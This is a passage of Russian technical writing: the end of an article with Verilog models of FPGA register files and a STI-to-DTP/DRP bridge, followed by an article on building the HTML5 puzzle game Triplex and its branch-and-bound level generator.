if(~S_NBE[3] & S_ADDR_2 & IO_WR_CMD) RG_O[31:24] <= S_D_WR[31:24];
end
//------------------------------------------
assign S_EX_ACK = 1'b1;
//------------------------------------------
assign GP_T = RG_T;
assign GP_O = RG_O;
//------------------------------------------
assign S_D_RD = S_ADDR_2 ? RG_I : RG_T;
//------------------------------------------
endmodule
```
Другой пример исполнителя представлен регистровым файлом ёмкостью 16 регистров с разрядностью 8 бит. Функциональная схема регистрового файла показана на рис. 6.
Каждый из шестнадцати регистров доступен для записи и чтения по стыку STI и имеет индивидуальный выходной сигнал RG\_xQ[7:0], используемый на верхнем уровне иерархии проекта.
Функционально регистровый файл аналогичен четырём одноразрядным блокам распределённой памяти на основе табличных преобразователей LUT-4 архитектуры ПЛИС FPGA (например — примитивам RAM16X1D в библиотеке ПЛИС фирмы Xilinx).
Оба рассмотренных примера исполнителей поддерживают однотактовые циклы записи и чтения, в связи с чем, выходы S\_EX\_ACK статично выдают высокий уровень.
Синтезируемая модель регистрового файла описана на языке Verilog следующим образом:
```
`timescale 1ns / 1ps
//////////////////////////////////////////////////////////////////////////
// Engineer: FPGA-Mechanic
//
// Create Date: 11:40:08 07/24/2014
// Design Name: STI Design
// Module Name: MSTI_8b_16xREG_V10 - 16x8bit Register File
// in STI Memory Space
// Project Name: Any
// Target Devices: FPGA
// Tool versions: Xilinx DS 14.4
//
// Revision: 1.0 (24.07.2014)
// Revision 1.0 - File Created
//////////////////////////////////////////////////////////////////////////
module MSTI_8b_16xREG_V10(
input CLK,
input RST,
input S_EX_REQ,
input [3:0] S_ADDR,
//input [1:0] S_NBE,
input [2:0] S_CMD,
input [7:0] S_D_WR,
output S_EX_ACK,
output reg
[7:0] S_D_RD,
output [7:0] RG_0Q,
output [7:0] RG_1Q,
output [7:0] RG_2Q,
output [7:0] RG_3Q,
output [7:0] RG_4Q,
output [7:0] RG_5Q,
output [7:0] RG_6Q,
output [7:0] RG_7Q,
output [7:0] RG_8Q,
output [7:0] RG_9Q,
output [7:0] RG_AQ,
output [7:0] RG_BQ,
output [7:0] RG_CQ,
output [7:0] RG_DQ,
output [7:0] RG_EQ,
output [7:0] RG_FQ
);
// Internal signals declaration:
wire M_WR_CMD;
reg [7:0] RG_0I, RG_1I, RG_2I, RG_3I, RG_4I, RG_5I, RG_6I, RG_7I;
reg [7:0] RG_8I, RG_9I, RG_AI, RG_BI, RG_CI, RG_DI, RG_EI, RG_FI;
//------------------------------------------
assign M_WR_CMD = ~S_CMD[2] & S_CMD[0] & S_EX_REQ;
//------------------------------------------
// Internal Data Registers:
always @ (posedge CLK, posedge RST)
if(RST)
begin
RG_0I <= 8'h00; RG_1I <= 8'h00;
RG_2I <= 8'h00; RG_3I <= 8'h00;
RG_4I <= 8'h00; RG_5I <= 8'h00;
RG_6I <= 8'h00; RG_7I <= 8'h00;
RG_8I <= 8'h00; RG_9I <= 8'h00;
RG_AI <= 8'h00; RG_BI <= 8'h00;
RG_CI <= 8'h00; RG_DI <= 8'h00;
RG_EI <= 8'h00; RG_FI <= 8'h00;
end
else
begin
if(M_WR_CMD)
case(S_ADDR)
4'h0 : RG_0I <= S_D_WR;
4'h1 : RG_1I <= S_D_WR;
4'h2 : RG_2I <= S_D_WR;
4'h3 : RG_3I <= S_D_WR;
4'h4 : RG_4I <= S_D_WR;
4'h5 : RG_5I <= S_D_WR;
4'h6 : RG_6I <= S_D_WR;
4'h7 : RG_7I <= S_D_WR;
4'h8 : RG_8I <= S_D_WR;
4'h9 : RG_9I <= S_D_WR;
4'hA : RG_AI <= S_D_WR;
4'hB : RG_BI <= S_D_WR;
4'hC : RG_CI <= S_D_WR;
4'hD : RG_DI <= S_D_WR;
4'hE : RG_EI <= S_D_WR;
default: RG_FI <= S_D_WR;
endcase
end
//------------------------------------------
// Output MUX:
always @ (S_ADDR,
RG_0I, RG_1I, RG_2I, RG_3I, RG_4I, RG_5I, RG_6I, RG_7I,
RG_8I, RG_9I, RG_AI, RG_BI, RG_CI, RG_DI, RG_EI, RG_FI)
case(S_ADDR)
4'h0 : S_D_RD <= RG_0I;
4'h1 : S_D_RD <= RG_1I;
4'h2 : S_D_RD <= RG_2I;
4'h3 : S_D_RD <= RG_3I;
4'h4 : S_D_RD <= RG_4I;
4'h5 : S_D_RD <= RG_5I;
4'h6 : S_D_RD <= RG_6I;
4'h7 : S_D_RD <= RG_7I;
4'h8 : S_D_RD <= RG_8I;
4'h9 : S_D_RD <= RG_9I;
4'hA : S_D_RD <= RG_AI;
4'hB : S_D_RD <= RG_BI;
4'hC : S_D_RD <= RG_CI;
4'hD : S_D_RD <= RG_DI;
4'hE : S_D_RD <= RG_EI;
default: S_D_RD <= RG_FI;
endcase
//------------------------------------------
assign S_EX_ACK = 1'b1;
//------------------------------------------
// Regs Outputs:
assign RG_0Q = RG_0I; assign RG_1Q = RG_1I;
assign RG_2Q = RG_2I; assign RG_3Q = RG_3I;
assign RG_4Q = RG_4I; assign RG_5Q = RG_5I;
assign RG_6Q = RG_6I; assign RG_7Q = RG_7I;
assign RG_8Q = RG_8I; assign RG_9Q = RG_9I;
assign RG_AQ = RG_AI; assign RG_BQ = RG_BI;
assign RG_CQ = RG_CI; assign RG_DQ = RG_DI;
assign RG_EQ = RG_EI; assign RG_FQ = RG_FI;
//------------------------------------------
endmodule
```
Более компактно описать регистровый файл можно с помощью дух мерного массива:
```
`timescale 1ns / 1ps
//////////////////////////////////////////////////////////////////////////
// Engineer: FPGA-Mechanic
//
// Create Date: 11:40:08 07/24/2014
// Design Name: STI Design
// Module Name: MSTI_8b_16xREG_V11 - 16x8bit Register File
// in STI Memory Space
// Project Name: Any
// Target Devices: FPGA
// Tool versions: Xilinx DS 14.4
//
// Revision: 1.1 (24.07.2014) Array Coding
// Revision 1.0 - File Created
//////////////////////////////////////////////////////////////////////////
module MSTI_8b_16xREG_V11(
input CLK,
input RST,
input S_EX_REQ,
input [3:0] S_ADDR,
//input [1:0] S_NBE,
input [2:0] S_CMD,
input [7:0] S_D_WR,
output S_EX_ACK,
output [7:0] S_D_RD,
output [7:0] RG_0Q,
output [7:0] RG_1Q,
output [7:0] RG_2Q,
output [7:0] RG_3Q,
output [7:0] RG_4Q,
output [7:0] RG_5Q,
output [7:0] RG_6Q,
output [7:0] RG_7Q,
output [7:0] RG_8Q,
output [7:0] RG_9Q,
output [7:0] RG_AQ,
output [7:0] RG_BQ,
output [7:0] RG_CQ,
output [7:0] RG_DQ,
output [7:0] RG_EQ,
output [7:0] RG_FQ
);
// Internal signals declaration:
wire M_WR_CMD;
reg [7:0] RG_I [15:0]; // Array 16 x 8bit
//------------------------------------------
assign M_WR_CMD = ~S_CMD[2] & S_CMD[0] & S_EX_REQ;
//------------------------------------------
// Internal Data Registers:
always @ (posedge CLK, posedge RST)
if(RST)
begin
RG_I[0] <= 8'h00; RG_I[1] <= 8'h00;
RG_I[2] <= 8'h00; RG_I[3] <= 8'h00;
RG_I[4] <= 8'h00; RG_I[5] <= 8'h00;
RG_I[6] <= 8'h00; RG_I[7] <= 8'h00;
RG_I[8] <= 8'h00; RG_I[9] <= 8'h00;
RG_I[4'hA] <= 8'h00; RG_I[4'hB] <= 8'h00;
RG_I[4'hC] <= 8'h00; RG_I[4'hD] <= 8'h00;
RG_I[4'hE] <= 8'h00; RG_I[4'hF] <= 8'h00;
end
else
if(M_WR_CMD)
RG_I[S_ADDR] <= S_D_WR;
//------------------------------------------
// Output MUX:
assign S_D_RD = RG_I[S_ADDR];
//------------------------------------------
assign S_EX_ACK = 1'b1;
//------------------------------------------
// Regs Outputs:
assign RG_0Q = RG_I[0]; assign RG_1Q = RG_I[1];
assign RG_2Q = RG_I[2]; assign RG_3Q = RG_I[3];
assign RG_4Q = RG_I[4]; assign RG_5Q = RG_I[5];
assign RG_6Q = RG_I[6]; assign RG_7Q = RG_I[7];
assign RG_8Q = RG_I[8]; assign RG_9Q = RG_I[9];
assign RG_AQ = RG_I[4'hA]; assign RG_BQ = RG_I[4'hB];
assign RG_CQ = RG_I[4'hC]; assign RG_DQ = RG_I[4'hD];
assign RG_EQ = RG_I[4'hE]; assign RG_FQ = RG_I[4'hF];
//------------------------------------------
endmodule
```
*Рис. 6. Функциональная схема регистрового файла*
Третий пример исполнителя STI показывает вариант сопряжения с портами передачи и приёма данных DTP и DRP, описанными в статьях [8, 9, 10]. В этом примере возникла необходимость синтеза конечного автомата, управляющего сигналом подтверждения цикла S\_EX\_ACK и внутренними семафорами занятости регистров.
Для пересылки байтов в порт передачи данных DTP используется буферный регистр WR\_DATA[7:0], занятость которого контролируется семафором WR\_FULL.
Для приёма байтов из порта приёма данных DRP используется буферный регистр RD\_DATA[7:0], занятость которого контролируется семафором RD\_FULL.
Оба семафора построены на идентичных триггерах, работающих по графу, показанному в верхнем левом углу схемы (рис. 7). Вход установки S1 имеет более высокий приоритет по отношению ко входу сброса R2. Это позволяет осуществлять чтение из буферного регистра в одном такте с записью в этот регистр.
Основная функция конечного автомата FSM состоит в том, чтобы устанавливать высокий уровень сигнала подтверждения цикла S\_EX\_ACK одновременно со сбросом семафора занятости регистра чтения, либо с установкой семафора занятости регистра записи. Граф переходов основного автомата показа внизу справа. Кодирование состояний автомата выбрано таким образом, чтобы выход S\_EX\_ACK управлялся одним из разрядов состояния, формируемым регистром текущего состояния.
Остальные выходы автомата WR\_SET и RD\_CLEAR сформированы по схеме Мура (Moore FSM) комбинационными элементами.
Сигнал подтверждения цикла S\_EX\_ACK устанавливается автоматом в активный высокий уровень в циклах записи по факту пустоты буферного регистра записи. В циклах чтения сигнал подтверждения цикла S\_EX\_ACK устанавливается в активный высокий уровень по факту занятости буферного регистра чтения.
Синтезируемая модель моста сопряжения с портами передачи и приёма данных, описанная на языке Verilog, приведена ниже:
```
`timescale 1ns / 1ps
//////////////////////////////////////////////////////////////////////////
// Engineer: FPGA-Mechanic
//
// Create Date: 12:37:39 07/24/2014
// Design Name: STI Design
// Module Name: MSTI_8b_DTP_DRP_V10 8-bit STI to DTP & DRP Bridge
// Project Name: Any
// Target Devices: FPGA
// Tool versions: Xilinx DS 14.4
//
// Revision: 1.0 (24.07.2014)
// Revision 1.0 - File Created
//////////////////////////////////////////////////////////////////////////
module MSTI_8b_DTP_DRP_V10(
input CLK,
input RST,
input S_EX_REQ,
//input S_ADDR_0,
//input [1:0] S_NBE,
input [2:0] S_CMD,
input [7:0] S_D_WR,
output S_EX_ACK,
output [7:0] S_D_RD,
output DTP_READY_T,
output [7:0] DTP_DATA_T,
input DTP_READY_R,
input DRP_READY_T,
input [7:0] DRP_DATA_R,
output DRP_READY_R
);
// Internal signals declaration:
wire IOW_CMD, IOR_CMD;
wire IOW_REQ, IOR_REQ;
reg [7:0] WR_DATA, RD_DATA;
reg WR_FULL, RD_FULL;
reg [1:0] FSM_STATE;
wire WR_SET, RD_CLEAR;
//------------------------------------------
assign IOW_CMD = ~S_CMD[0] & ~S_CMD[2];
assign IOR_CMD = ~S_CMD[0] & ~S_CMD[1] & S_CMD[2];
assign IOW_REQ = IOW_CMD & S_EX_REQ;
assign IOR_REQ = IOR_CMD & S_EX_REQ;
//------------------------------------------
// Internal Data Registers:
always @ (posedge CLK, posedge RST)
if(RST)
begin
WR_DATA <= 8'h00;
RD_DATA <= 8'h00;
end
else
begin
if(WR_SET) WR_DATA <= S_D_WR;
if(~RD_FULL & DRP_READY_T)
RD_DATA <= DRP_DATA_R;
end
assign S_D_RD = RD_DATA;
assign DTP_DATA_T = WR_DATA;
//------------------------------------------
// Internal Data Semaphores:
always @ (posedge CLK, posedge RST)
if(RST)
begin
WR_FULL <= 1'b0;
RD_FULL <= 1'b0;
end
else
begin
if(WR_SET) WR_FULL <= 1'b1;
else if(DTP_READY_R) WR_FULL <= 1'b0;
if(~RD_FULL & DRP_READY_T) RD_FULL <= 1'b1;
else if(RD_CLEAR) RD_FULL <= 1'b0;
end
assign DTP_READY_T = WR_FULL;
assign DRP_READY_R = ~RD_FULL;
//------------------------------------------
// Finite State Machine:
always @ (posedge CLK, posedge RST)
if(RST)
FSM_STATE <= 2'd0;
else
begin
case(FSM_STATE)
2'd0 :
if(IOW_REQ)
if(WR_FULL) FSM_STATE <= 2'd2;
else FSM_STATE <= 2'd1;
else if(IOR_REQ)
if(RD_FULL) FSM_STATE <= 2'd3;
else FSM_STATE <= 2'd2;
else FSM_STATE <= 2'd0;
2'd1 : FSM_STATE <= 2'd0;
2'd2 :
if(IOW_REQ)
if(WR_FULL) FSM_STATE <= 2'd2;
else FSM_STATE <= 2'd1;
else if(IOR_REQ)
if(RD_FULL) FSM_STATE <= 2'd3;
else FSM_STATE <= 2'd2;
else FSM_STATE <= 2'd0;
default: FSM_STATE <= 2'd0;
endcase
end
//------------------------------------------
// Moore Outputs
assign WR_SET = ~FSM_STATE[1] & FSM_STATE[0];
assign RD_CLEAR = &(FSM_STATE);
//------------------------------------------
assign S_EX_ACK = FSM_STATE[0];
//------------------------------------------
endmodule
```
*Рис. 7. Функциональная схема моста сопряжения стыка STI и портов передачи и приёма данных DTP и DRP*
Выводы.
Стык простого исполнителя STI позволяет строить модели исполнителей для системных интерфейсов проекта конфигурации ПЛИС или кристалла СБИС, обеспечивающие большую пропускную способность, сочетающуюся с предельной простотой протокола взаимодействия.
Описанный интерфейс может найти применение в периферийных контроллерах кристалла, а также мостах сопряжения с классическими каналами обмена наподобие I2C, SPI, QSPI, SRAM, FLASH, Microwire и внешними системными шинами старого образца.
Литература:
1. AMBA APB Protocol. Version: 2.0. Specification. ARM IHI 0024C (ID041610) 2003-2010, ARM.
2. AMBA Specification Rev 2.0. ARM IHI 0011A. ARM Limited 1999.
3. AMBA AXI Protocol. Version: 2.0. Specification. ARM IHI 0022C (ID030510) 2003-2010, ARM.
4. AMBA 4 AXI4-Stream Protocol. Version: 1.0. Specification. ARM IHI 0051A (ID030510). 2010, ARM.
5. WISHBONE System-on-Chip (SoC) Interconnection Architecture for Portable IP Cores. 2010, OpenCores.
6. Open Core Protocol (OCP) Specification Release 2.1. 2005, OCP-IP Association.
7. RTL Hardware Design Using VHDL: Coding for Efficiency, Portability, and Scalability. By Pong P.Chu. John Wiley & Sons, Inc. 2006.
8. Борисенко Н. В. Подходы к организации унифицированного ряда синтезируемых моделей буферов FIFO, реализуемых в различных семействах программируемой логики. Часть 1. «Компоненты и технологии» №12.2012.
9. Борисенко Н. В. Схемы включения буферов FIFO с унифицированным интерфейсом в тракт данных между источником и приёмником информации. «Компоненты и технологии» №2.2013.
10. Борисенко Н. В. Организация синхронных буферов FIFO с унифицированным интерфейсом, построенных на регистрах общего назначения в объёме микросхем программируемой логики. «Компоненты и технологии» №8.2016. | https://habr.com/ru/post/354818/ | null | ru | null |
# История игры Триплекс, или сколько нужно квадратиков чтобы сломать голову
 Чтобы освоить азы Web программирования, я решил написать HTML5 игру — головоломку под названием Triplex ([www.quadpuzzle.ru](http://www.quadpuzzle.ru/)). Написать игру для себя и для друзей — полдела. Захотелось довести проект до ума, сделав из игры продукт для широкого круга пользователей. Насколько получилось — судить вам.
Правила игры просты. На игровом поле разложены фигуры из квадратиков. Цель игры — уложить все фигуры в указанный прямоугольник. Вращать можно только одну фигуру, помеченную кружком, если она есть. Решение в каждой задаче существует и единственное.
 
Работает в свежих версиях следующих браузеров: Opera, Opera-mobile, Safari (Windows, iPad2), Android (HTC Desire, Samsung Galaxy Tab 10.1), Chrome, FireFox и IE9.
Реализованы следующие идеи:1. Игра состоит из одного html файла. Его можно скачать себе на локальный диск и играть без интернета. IE9 этот режим не поддерживает.
2. Если есть сетевое подключение, то можно отмечать своё прохождение уровней на сервере и смотреть результаты всех отметившихся игроков.
3. В таблице рекордов для каждого уровня хранится имя игрока, решившего этот уровень первым. Также хранится статистика о времени прохождения уровней другими игроками.
4. Каждый следующий уровень закодирован решением предыдущего. Поэтому просто взять и пройти последний уровень не получится, не смотря на то, что все уровни хранятся в одном html файле.
5. Игра переведена на 5 языков: русский, английский, французский, немецкий и китайский.
### Похожие игры
Было бы нечестно умолчать, что игру придумал не я. Прототипом Триплекса стала очень похожая игра BlockPuzzle 500 ([www.mtoy.biz](http://www.mtoy.biz/)), в которую мне довелось играть на своём первом Android телефоне.
 
По существу Триплекс отличается от неё следующим:* размером фигур:
BlockPuzzle использует фигуры из 2-х, 3-х, 4-х и 5-и квадратиков, в Триплексе фигуры только из 2-х и 3-х;
* в Triplex на одном уровне может быть несколько одинаковых фигур, а в BlockPuzzle все разные;
* в BlockPuzzle нет вращаемых фигур, в Триплексе на некоторых уровнях есть одна вращаемая фигура;
* BlockPuzzle есть только для Андроида, а в Триплекс можно играть на любом устройстве, если на нём установлен браузер с поддержкой HTML5.
Честно признаться, на Андроиде приятнее играть в BlockPuzzle — интерфейс отзывчивее. Буду рад, если кто-то захочет портировать Триплекс на Андроид или другую платформу. Всё что нужно есть в triplex.html.
### Откуда взялись задачи
Генератор уровней для этой игры разрабатывался первым. Вначале просто ради любопытства. Хотелось понять природу и свойства таких задач. Сколько их всего, как сложно найти такие задачи, насколько сложно их решать,… Была написана программа на языке Java, которая умеет генерировать уровни. Захотелось с этими уровнями поиграть, потрогать, порешать. Я, видимо, в детстве не наигрался с кубиками, поэтому теперь захотелось поиграть с квадратиками. Возникла идея не только сделать программу визуализации уровней с элементами пользовательского интерфейса, но и сделать из этого всего игру.
Генератор искал уровни следующим образом:1. перебрал все комбинации на полях 3x2, 3x3, 4x3,… с 3-мя и более фигурами из 2-х и 3-х квадратиков;
2. исключил все похожие (с точностью до поворотов и отражений);
3. из них выбрал такие, в которых есть только одно решение;
4. выбрал одну вращаемую фигуру, если это не добавляло других решений.
#### Вычислительная сложность алгоритма
Изначально программа задумывалась для подбора задач с произвольным количеством и размером фигур произвольных размеров. Алгоритм работает по [методу ветвей и границ](http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%B2%D0%B5%D1%82%D0%B2%D0%B5%D0%B9_%D0%B8_%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%86).
Пусть фигура-решение это прямоугольная фигура размера WxH, состоящая из других фигур (фигур из условия задачи). Рассмотрим все пары соприкасающихся квадратиков (квадратиков с общей гранью), из которых состоит решение. Всего таких граней (2 \* W \* H — W — H).
Каждая грань может находится в одном из двух состояний:
0. закрыта — соседние квадратики могут принадлежать разным фигурам;
1. открыта — два соседних квадратика принадлежат одной фигуре.
Назовём N-ку из (2 \* W \* H — W — H) бинарных значений набором состояний всех граней. Очевидно, что произвольному набору состояний однозначно соответствует некоторое разбиение прямоугольника на фигуры (смотрите описание алгоритма [раскраски разбиения](#Раскраска разбиения)). Очевидно, что для любого разбиения найдётся хотя бы один набор состояний.
Множество всевозможных наборов состояний содержит 2(2 \* W \* H — W — H) элементов. То есть, чтобы перебрать все возможные разбиения, достаточно запустить цикл от 0 до 2(2 \* W \* H — W — H)-1, и рассматривать каждый i-ый бит бинарного представления индексной переменной состоянием i-ой грани. Если сложность тела цикла ограничить константой, то общая сложность перебора всех комбинаций будет экспоненциальной от площади решения. Давайте прикинем, сколько итераций получится.
| размерность | количество
итераций |
| --- | --- |
| 1x1 | 2(2 \* 1 \* 1 — 1 — 1) = 20=1 |
| 2x1 | 2(2 \* 2 \* 1 — 2 — 1) = 21=2 |
| 2x2 | 2(2 \* 2 \* 2 — 2 — 2) = 24=16 |
| 2x3 | 2(2 \* 2 \* 3 — 2 — 3) = 27=128 |
| 2x4 | 2(2 \* 2 \* 4 — 2 — 4) = 210=1024 |
| 3x3 | 2(2 \* 3 \* 3 — 3 — 3) = 212=4096 |
| ... | ... |
| 6x6 | 2(2 \* 6 \* 6 — 6 — 6) = 260 |
То есть индекс цикла для задачи 6x6 ещё помещается в 64-битный целочисленный тип. Если запустить такой цикл с пустым телом со скоростью 1 процессорный такт на итерацию на процессоре с частотой 3GHz, то программа будет работать 12 лет = 260 / (3\*109 \* 3600 \* 24 \* 365).
##### Сокращение перебора, фильтрация
Для того, чтобы существенно сократить перебор, нужно стараться откидывать целые группы таких разбиений, которые заведомо не подходят. Для этого был придуман следующий механизм фильтрации. Упорядочим все квадратики по убыванию слева на право и сверху вниз: левый верхний — самый старший, правый нижний — самый младший. Каждому квадратику однозначно соответствует его пара граней: правая и нижняя. Так что, порядок на квадратиках, естественным образом, индуцирует порядок на соприкасающихся гранях: пусть будет нижняя — старшая, правая — младшая. Каждое разбиение проходит от одного фильтра к следующему через функцию-фильтр, которая либо пропускает разбиение дальше, либо нет. Если разбиение проходит все фильтры, то оно попадает в нашу игру. Если разбиение не удовлетворяет условию какого-нибудь фильтра, то фильтр может указывать самый младший квадратик, из-за которого условие не выполняется. Тогда перебор разбиений продолжается не с самой младшей грани, а с младшей грани указанного квадратика.
В общем случае для произвольного фильтра трудно оценить, на сколько таким образом удаётся сократить количество разбиений. Однако, очень простой пример показывает, что иногда значительно. Так, благодаря фильтру, который отбрасывает разбиения с изолированными квадратиками (квадратиками, которые являются самостоятельной фигурой из одного квадратика), количество разбиений на первом же шаге сокращается на 25%: самый старший квадратик должен иметь хотя бы одну общую грань с одним из двух соседей. То есть вместо 12 лет, нам оказывается хватит 9. Если 4 угловых квадратика не являются соседями, то фильтр «изолированных квадратиков» сокращает перебор на 25% для каждого из них, а это уже (1 — (3/4)4) = 68%. Аналогичные соображения для остальных квадратиков в сумме дают сокращение перебора порядка O(2W\*H).
Для генерации уровней Triplex были использованы следующие фильтры в указанном порядке:
1. 2x2Duplicates
— фильтр, отбрасывающий разбиения, в которых есть четыре квадратика (2x2), принадлежащих одной фигуре, но хотя бы одна из четырёх общих граней не общая.
2. 1x1Cell
— фильтр изолированных квадратиков, описанный выше.
3. StraightCut
— фильтр, отбрасывающий разбиения с прямыми горизонтальными или вертикальными разрезами. Такой разрез делит разбиение на две части, переставив которые, мы получим второе решение. Это правило не выполняется только тогда, когда обе части разбиения состоят из одинаковых наборов. В этом случае второго решения не получается, но для нашей игры разбиение не представляет интерес, потому что каждая часть разбиения является самостоятельной задачей меньшей размерности.
4. Shapes3
— фильтр, отбрасывающий задачи с количеством фигур меньше 3. Задачки из двух фигур решать совсем не интересно.
5. Shape23
— фильтр, отбрасывающий разбиения, в которых есть фигуры из 4 и более квадратиков. Этот фильтр специфичный для Триплекса.
6. RotatedAndReflected
— фильтр, который отбрасывает одинаковые разбиения — такие разбиения, которые получаются друг из друга поворотом на 90, 180 или 270 градусов и/или зеркальным отражением. Каждому разбиению таким образом сопоставляется 8 одинаковых разбиений. Поскольку на множестве разбиений у нас введён линейный порядок, то из каждой восьмёрки можно выбрать минимальное разбиение. Если фильтруемое разбиение не является минимальным, то мы его отбрасываем. Это означает, что мы уже рассматривали разбиение из этой восьмёрки.
7. Solver
— фильтр, отбрасывающий разбиения, для которых существует более одного решения. Этот фильтр, наверное, наиболее интересен, однако не хочется описывать алгоритм его работы, чтобы не облегчать задачу тем, программистам, кто захочет написать свой решатель, чтобы пройти игру. Хочется сказать, однако, что Solver подбирает решения методом ветвей и границ. Количество листьев на 'ветвях' (количество комбинаций) вычисляется по формуле
C!/(C1!C2!...Cm!),
где C — количество фигур в разбиении, m — количество различных фигур в разбиении (количество групп одинаковых фигур), Ci — количество одинаковых фигур в каждой из групп. Для примера, если все фигуры одинаковые, то комбинация всего одна: m = 1 и С = С1. Первый уровень (3 различные фигуры, пока не обращаем внимание на вращаемую фигуру) даёт 3!/(1!1!1!) = 6 комбинаций. Десятый уровень (6 фигур в четырёх группах) даёт 6!/(2!2!1!1!) = 180 комбинаций. Сотый уровень (9 фигур, в пяти группах) даёт 9!/(3!3!1!1!1!) = 10080 комбинаций. Шестисотый уровень даёт около 1011 комбинаций. Не смотря на то, что комбинаций много, Solver прорешивает все задачки Триплекса за 1-2 секунды. Это говорит о том, что найти задачи намного сложнее, чем их решить. Так, например, при поиске задач 6x6 Solver решил 5887655 задач, выбрав из них всего 46.
Для Триплекса, с фигурами из двух и трёх квадратиков, описанный набор фильтров далеко не оптимален. Но программа проектировалась для генерации более сложных задач, а Триплекс это всего лишь частный случай, для которого есть совершенно другой, более простой алгоритм, о котором я расскажу дальше.
Стоит отметить, что порядок фильтров очень сильно влияет на производительность программы. В начало списка надо ставить фильтры, у которых наименьшая алгоритмическая сложность, и те, которые отбрасывают максимальное количество плохих разбиений большими группами. Например, Solver, если его поставить первым, скорее всего, откинет наибольшее количество разбиений. Однако он будет работать неприемлемо долго, оценивая разбиения по одному.
##### Отчёт генератора
Рассмотрим отчёт о генерации задач для размерности 6x6. В следующий таблице показано сколько разбиений было обработано и какими фильтрами.
| проверено | принято | отброшено | отброшено % | отброшено %
от общего
числа | фильтр |
| --- | --- | --- | --- | --- | --- |
| 596745944245 | 295317406559 | 301428537686 | 50.51 | 50.51 | 2x2Duplicates |
| 295317406559 | 110686580321 | 184630826238 | 62.52 | 30.94 | 1x1Cell |
| 110686580321 | 79876633976 | 30809946345 | 27.84 | 5.16 | StraightCut |
| 79876633976 | 79875530828 | 1103148 | 0.00 | 0.00 | Shapes3 |
| 79875530828 | 47094698 | 79828436130 | 99.94 | 13.38 | Shape23 |
| 47094698 | 5887701 | 41206997 | 87.50 | 0.01 | RotatedAndReflected |
| 5887701 | 46 | 5887655 | 100.00 | 0.00 | Solver |
| 596745944245 | 46 | 596745944199 | 100.00 | 100.00 | Total |
Первое, на что хочется обратить внимание, — общее число проверенных разбиений — 596745944245 < 240. То есть, благодаря механизму 'границ' удалось сократить проверку с 260 до 240. Если учесть, что эта задача крутилась 12 дней, то без механизма 'границ' она бы работала 12\*220 ~ 12\*106 дней или пришлось бы использовать миллион процессорных ядер вместо одного. В этой таблице не хватает одного очень интересного столбца, который бы показал, насколько каждый из фильтров сократил перебор, чтобы понять, из чего состоит делитель 220.
Как и следовало ожидать, RotatedAndReflected откинул 7/8 = 87.5% всех данных ему разбиений, выбрав лишь одну из каждой восьмёрки одинаковых задач. Интересно отметить, что из рассмотренных разбиений, встретилось больше миллиона различных вариантов, отброшенных фильтром Shapes3, — вариантов разбиения из двух фигур. Даже трудно себе представить, что из [квинтиллиона](http://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B_%D0%BD%D0%B0%D0%B8%D0%BC%D0%B5%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D1%87%D0%B8%D1%81%D0%B5%D0%BB) (260 ~ 1018) разбиений 6x6 для Триплекса было выбрано всего 46. Как говорится, «всё самое лучшее».
##### Временной график
Так выглядят для задачи 6x6 графики зависимости количества найденных уровней (LEVELS FOUND) от времени и % рассмотренных разбиений (WORK DONE) от времени (в днях).
Хочется отметить два момента: * Во-первых, WORK DONE начинается со значения 25% благодаря фильтру изолированных квадратиков применённому к левому верхнему квадратику, как объясняется выше.
* Во-вторых, не смотря на то, что программа работала 12
дней, все уровни были найдены в первые 4 дня на значениях WORK DONE от 25% до 40%. С другими размерностями тоже самое — большинство найденных уровней были найдены вначале перебора. Это происходит из-за фильтра RotatedAndReflected, в котором из восьмёрки одинаковых задач выбирается минимальная.
##### Таблица размерностей задач
В этой таблице приведены данные по всем задачам, которые попали в игру.
| Площадь
решения | Размерность | Количество
уровней | Время | Общее
количество
уровней | Общее
время |
| --- | --- | --- | --- | --- | --- |
| 8 | 4x2 | 2 | 0сек | 2 | 0сек |
| 9 | 3x3 | 1 | 0сек | 3 | 0сек |
| 10 | 5x2 | 1 | 0сек | 4 | 0сек |
| 12 | 4x3 | 4 | 0сек | 8 | 0сек |
| 15 | 5x3 | 6 | 0сек | 14 | 0сек |
| 16 | 4x4 | 5 | 0сек | 19 | 0сек |
| 18 | 6x3 | 8 | 0сек | 27 | 0сек |
| 20 | 5x4 | 48 | 0сек | 75 | 0сек |
| 21 | 7x3 | 16 | 0сек | 91 | 0сек |
| 24 | 6x4 | 27 | 2мин | 118 | 2мин |
| 8x3 | 16 | 1мин | 134 | 3мин |
| 25 | 5x5 | 22 | 3мин | 156 | 6мин |
| 27 | 9x3 | 19 | 12мин | 175 | 17мин |
| 28 | 7x4 | 45 | 41мин | 220 | 59мин |
| 30 | 6x5 | 55 | 3час | 275 | 4час |
| 10x3 | 19 | 2час | 294 | 6час |
| 32 | 8x4 | 112 | 17час | 406 | 23час |
| 33 | 11x3 | 22 | 20час | 428 | 2дн |
| 35 | 7x5 | 158 | 7дн | 586 | 9дн |
| 36 | 6x6 | 46 | 12дн | 632 | 21дн |
| 9x4 | 69 | 16дн | 701 | 37дн |
| 12x3 | 20+ | 8дн+ | 720+ | 45дн+ |
Стоит отметить что:* Генератор работал более 45 дней.
* Задачи до площади 32 были сгенерированы в первый день.
* На поиск задач с площадью 36 ушло 36 дней.
* Неожиданно большое количество задач было найдено для размерностей 8x4 и 7x5: 112 и 158 соответственно. Это значительно больше чем для других размерностей.
##### Раскраска разбиения
Первые три фильтра оперируют только состояниями граней в виде набора битов. Следующие за ними фильтры оперируют в терминах фигур. Чтобы перевести набор бинарных состояний в набор фигур, используется однопроходный алгоритм раскраски разбиения на отдельные фигуры:
```
int color = 1;
for(int i = 0; i < H; ++i) {
for(int j = 0; j < W; ++j) {
if (painted[i][j] == 0) {
flood(i, j, color++);
}
}
}
```
Здесь функция flood закрашивает фигуру, начиная с клетки (i,j), используя очередь смежных клеток, принадлежащих одной фигуре. Общая сложность этого алгоритма раскраски линейна по количеству квадратиков — O(W\*H).
#### Фигуры с вращением
